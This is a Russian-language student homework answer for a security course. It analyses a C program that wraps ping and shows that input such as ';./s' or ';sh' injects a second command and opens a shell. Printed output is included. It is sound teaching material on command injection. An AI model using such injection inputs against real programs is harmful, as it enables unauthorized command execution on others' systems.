---
# System prepended metadata

title: Домашнее задание к занятию «Системное программирование (язык C) - функции и библиотеки»
tags: [security, netology]

---

###### tags: `netology` `security`

# Домашнее задание к занятию «Системное программирование (язык C) - функции и библиотеки»

## Задача

Проведите повторный анализ и посмотрите:

1. Можно ли реализовать переполнение?
2. Можно ли выполнить произвольную команду (если да, то как)?
3. Если ответ на п.2 - да, то можно ли получить shell (т.е. запустить sh и bash и продолжить работу с интерпретатором команд в интерактивном режиме)?

---

1. Функция fgets существует как раз для защиты от переполнения. Мне не известны способы "обмануть защиту" и вызвать переполнение при ее использовании

2. Можно.
Впринципе можно выполнить хоть самый хацкерский код: 
- Создаем скрипт с имененм `s` и, например, таким безобидным содержимым:
```bash=
#!/bin/sh

echo 'Hello from fsociety! Mr.Robot'
```
- даем права на выполнение
- запускаем нашу программу
- на приглашение о вводе отвечаем: `;./s`
- получаем такой вывод:
```bash=
$ ./ping                                                                                                                                                                                                   
please enter host for ping
;./s
command: ping 
host: ;./s

full command: ping ;./s

Ping: usage error: Destination address required
Hello from fsociety! Mr.Robot
```
Input для ping можем оставить пустым, `;` для выполнения следующих команд, `./s` для запуска скрипта, где может быть что угодно.

3. По аналогии с прошлым примером, при запуске программы вводим: `;sh` и получаем доступ в shell
